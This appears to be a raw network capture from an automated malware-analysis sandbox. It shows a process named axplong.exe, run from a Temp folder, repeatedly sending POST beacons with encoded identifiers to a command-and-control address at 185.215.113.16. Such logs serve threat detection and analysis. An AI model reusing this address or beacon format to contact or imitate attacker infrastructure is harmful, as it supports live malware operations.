Sep 27, 2024 01:29:10.385418892 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:11.114334106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:11.116841078 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:11.455925941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49715	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:11.610433102 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:12.360548019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:12.361239910 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:12.592092991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49716	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:12.712579012 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:13.454965115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:13.455728054 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:13.682399035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49717	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:13.790092945 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:14.482147932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:14.483040094 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:14.704719067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49718	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:14.821867943 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:16.039895058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:16.039928913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:16.040036917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:16.040792942 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:16.265012026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49719	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:16.385524988 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:17.152738094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:17.153491020 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:17.383819103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49720	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:17.493264914 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:18.197046041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:18.229846954 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:18.451353073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49721	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:18.575167894 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:19.322673082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:19.323407888 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:19.553539991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49722	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:19.667047977 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:20.463644981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:20.464405060 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:20.696082115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49723	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:20.840539932 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:21.609952927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:21.611404896 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:21.844621897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49724	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:21.962060928 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:22.690646887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:22.691354036 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:22.920526028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49725	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:23.041430950 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:23.728781939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:23.730155945 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:23.952552080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49726	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:24.072804928 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
